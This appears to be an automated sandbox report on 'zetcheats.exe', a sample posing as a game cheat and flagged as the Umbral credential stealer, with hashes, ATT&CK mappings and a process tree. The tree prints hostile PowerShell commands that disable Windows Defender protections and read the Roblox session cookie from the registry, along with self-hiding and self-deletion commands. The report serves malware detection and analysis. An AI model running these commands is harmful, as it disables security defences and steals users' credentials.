umbral | 732efb009641d9d8d38ad223649018ce8d0521f0e03c34112221d0525dda7855

Analysis

max time kernel
33s
max time network
37s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
25-08-2024 14:00

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General

Target

zetcheats/zetcheats.exe
Size

229KB
MD5

a5136c56ea838074a1b521860a45086c
SHA1

576f08a6e5e4ee6f0a438e5c58506e059497d015
SHA256

d4f221f62d10617dbbac44172e5e1d5b106a47c69ac4a2426eff77c9485c0707
SHA512

1dd818b836c898b85459d42f8163be1926149b569c3f918b994f89ddaea7939a27324b6964140008fa394cda77aa84f468361416a7db5ddcc8bba9ff5bc4c5c3
SSDEEP

6144:lloZM+rIkd8g+EtXHkv/iD4ClRVw2xpacPyAxVkQIb8e1mvi:noZtL+EP8ClRVw2xpacPyAxVklN

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral3/memory/2972-1-0x0000020BFC600000-0x0000020BFC640000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2380	powershell.exe
2592	powershell.exe
2476	powershell.exe
1520	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	zetcheats.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	discord.com
12	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1360	cmd.exe
1916	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2912	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1916	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2972	zetcheats.exe
2380	powershell.exe
2380	powershell.exe
2592	powershell.exe
2592	powershell.exe
2476	powershell.exe
2476	powershell.exe
3104	powershell.exe
3104	powershell.exe
1520	powershell.exe
1520	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2972	zetcheats.exe
Token: SeIncreaseQuotaPrivilege	2016	wmic.exe
Token: SeSecurityPrivilege	2016	wmic.exe
Token: SeTakeOwnershipPrivilege	2016	wmic.exe
Token: SeLoadDriverPrivilege	2016	wmic.exe
Token: SeSystemProfilePrivilege	2016	wmic.exe
Token: SeSystemtimePrivilege	2016	wmic.exe
Token: SeProfSingleProcessPrivilege	2016	wmic.exe
Token: SeIncBasePriorityPrivilege	2016	wmic.exe
Token: SeCreatePagefilePrivilege	2016	wmic.exe
Token: SeBackupPrivilege	2016	wmic.exe
Token: SeRestorePrivilege	2016	wmic.exe
Token: SeShutdownPrivilege	2016	wmic.exe
Token: SeDebugPrivilege	2016	wmic.exe
Token: SeSystemEnvironmentPrivilege	2016	wmic.exe
Token: SeRemoteShutdownPrivilege	2016	wmic.exe
Token: SeUndockPrivilege	2016	wmic.exe
Token: SeManageVolumePrivilege	2016	wmic.exe
Token: 33	2016	wmic.exe
Token: 34	2016	wmic.exe
Token: 35	2016	wmic.exe
Token: 36	2016	wmic.exe
Token: SeIncreaseQuotaPrivilege	2016	wmic.exe
Token: SeSecurityPrivilege	2016	wmic.exe
Token: SeTakeOwnershipPrivilege	2016	wmic.exe
Token: SeLoadDriverPrivilege	2016	wmic.exe
Token: SeSystemProfilePrivilege	2016	wmic.exe
Token: SeSystemtimePrivilege	2016	wmic.exe
Token: SeProfSingleProcessPrivilege	2016	wmic.exe
Token: SeIncBasePriorityPrivilege	2016	wmic.exe
Token: SeCreatePagefilePrivilege	2016	wmic.exe
Token: SeBackupPrivilege	2016	wmic.exe
Token: SeRestorePrivilege	2016	wmic.exe
Token: SeShutdownPrivilege	2016	wmic.exe
Token: SeDebugPrivilege	2016	wmic.exe
Token: SeSystemEnvironmentPrivilege	2016	wmic.exe
Token: SeRemoteShutdownPrivilege	2016	wmic.exe
Token: SeUndockPrivilege	2016	wmic.exe
Token: SeManageVolumePrivilege	2016	wmic.exe
Token: 33	2016	wmic.exe
Token: 34	2016	wmic.exe
Token: 35	2016	wmic.exe
Token: 36	2016	wmic.exe
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	3104	powershell.exe
Token: SeIncreaseQuotaPrivilege	2616	wmic.exe
Token: SeSecurityPrivilege	2616	wmic.exe
Token: SeTakeOwnershipPrivilege	2616	wmic.exe
Token: SeLoadDriverPrivilege	2616	wmic.exe
Token: SeSystemProfilePrivilege	2616	wmic.exe
Token: SeSystemtimePrivilege	2616	wmic.exe
Token: SeProfSingleProcessPrivilege	2616	wmic.exe
Token: SeIncBasePriorityPrivilege	2616	wmic.exe
Token: SeCreatePagefilePrivilege	2616	wmic.exe
Token: SeBackupPrivilege	2616	wmic.exe
Token: SeRestorePrivilege	2616	wmic.exe
Token: SeShutdownPrivilege	2616	wmic.exe
Token: SeDebugPrivilege	2616	wmic.exe
Token: SeSystemEnvironmentPrivilege	2616	wmic.exe
Token: SeRemoteShutdownPrivilege	2616	wmic.exe
Token: SeUndockPrivilege	2616	wmic.exe
Token: SeManageVolumePrivilege	2616	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2972 wrote to memory of 2016	2972	zetcheats.exe	81
PID 2972 wrote to memory of 2016	2972	zetcheats.exe	81
PID 2972 wrote to memory of 2168	2972	zetcheats.exe	85
PID 2972 wrote to memory of 2168	2972	zetcheats.exe	85
PID 2972 wrote to memory of 2380	2972	zetcheats.exe	87
PID 2972 wrote to memory of 2380	2972	zetcheats.exe	87
PID 2972 wrote to memory of 2592	2972	zetcheats.exe	89
PID 2972 wrote to memory of 2592	2972	zetcheats.exe	89
PID 2972 wrote to memory of 2476	2972	zetcheats.exe	91
PID 2972 wrote to memory of 2476	2972	zetcheats.exe	91
PID 2972 wrote to memory of 3104	2972	zetcheats.exe	93
PID 2972 wrote to memory of 3104	2972	zetcheats.exe	93
PID 2972 wrote to memory of 2616	2972	zetcheats.exe	95
PID 2972 wrote to memory of 2616	2972	zetcheats.exe	95
PID 2972 wrote to memory of 3952	2972	zetcheats.exe	97
PID 2972 wrote to memory of 3952	2972	zetcheats.exe	97
PID 2972 wrote to memory of 1456	2972	zetcheats.exe	99
PID 2972 wrote to memory of 1456	2972	zetcheats.exe	99
PID 2972 wrote to memory of 1520	2972	zetcheats.exe	101
PID 2972 wrote to memory of 1520	2972	zetcheats.exe	101
PID 2972 wrote to memory of 2912	2972	zetcheats.exe	103
PID 2972 wrote to memory of 2912	2972	zetcheats.exe	103
PID 2972 wrote to memory of 1360	2972	zetcheats.exe	105
PID 2972 wrote to memory of 1360	2972	zetcheats.exe	105
PID 1360 wrote to memory of 1916	1360	cmd.exe	107
PID 1360 wrote to memory of 1916	1360	cmd.exe	107

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2168	attrib.exe

C:\Users\Admin\AppData\Local\Temp\zetcheats\zetcheats.exe
"C:\Users\Admin\AppData\Local\Temp\zetcheats\zetcheats.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2016
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\zetcheats\zetcheats.exe"
  2⤵
  - Views/modifies file attributes
  PID:2168
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\zetcheats\zetcheats.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3104
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2616
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3952
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1520
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\zetcheats\zetcheats.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
43b2acc13ba1fe53d4f8859fe4f98cfd

SHA1
d917f316b17b600053802c3133dae8c2466a7f41

SHA256
b6630b73e4df2c36854f9480fe321ceb44fe45103d74a509c6d616c120509186

SHA512
8851c9fb935dfa61345903ec7ec859779a98c0fd40bd5ad8f2a103f68b59ee3e7527664cb44fb0b3b17fd21977ed554e9b0aca0b1c8fec8d51b565a29d48d5e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e8ad350bb24c7ab38efd0ef0553239c7

SHA1
887c19e4c11de19854458e26a1ed05b67a75bf29

SHA256
5cf85b38cbbf1a064a4f8001a0ec031993d44e46b8e65d713785c84916cb8ffd

SHA512
74fef147e98b8b576712c212174a7793deb619d54c7ac7956e38ed4e09202f0c93ae4ec9e89cd4d0ac79c481d30c5c3fc5a3d042537c74d7bffda1f8453aef6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uamoh0z1.uqm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2380-4-0x00007FF8C4100000-0x00007FF8C4BC2000-memory.dmp

Filesize
10.8MB

Download
memory/2380-5-0x00007FF8C4100000-0x00007FF8C4BC2000-memory.dmp

Filesize
10.8MB

Download
memory/2380-11-0x00000248D05B0000-0x00000248D05D2000-memory.dmp

Filesize
136KB

Download
memory/2380-17-0x00007FF8C4100000-0x00007FF8C4BC2000-memory.dmp

Filesize
10.8MB

Download
memory/2380-3-0x00007FF8C4100000-0x00007FF8C4BC2000-memory.dmp

Filesize
10.8MB

Download
memory/2972-32-0x0000020BFEE70000-0x0000020BFEEC0000-memory.dmp

Filesize
320KB

Download
memory/2972-31-0x0000020BFEDF0000-0x0000020BFEE66000-memory.dmp

Filesize
472KB

Download
memory/2972-33-0x0000020BFE310000-0x0000020BFE32E000-memory.dmp

Filesize
120KB

Download
memory/2972-1-0x0000020BFC600000-0x0000020BFC640000-memory.dmp

Filesize
256KB

Download
memory/2972-0-0x00007FF8C4103000-0x00007FF8C4105000-memory.dmp

Filesize
8KB

Download
memory/2972-68-0x0000020BFEDC0000-0x0000020BFEDD2000-memory.dmp

Filesize
72KB

Download
memory/2972-67-0x0000020BFED80000-0x0000020BFED8A000-memory.dmp

Filesize
40KB

Download
memory/2972-2-0x00007FF8C4100000-0x00007FF8C4BC2000-memory.dmp

Filesize
10.8MB

Download
memory/2972-85-0x00007FF8C4100000-0x00007FF8C4BC2000-memory.dmp

Filesize
10.8MB

Download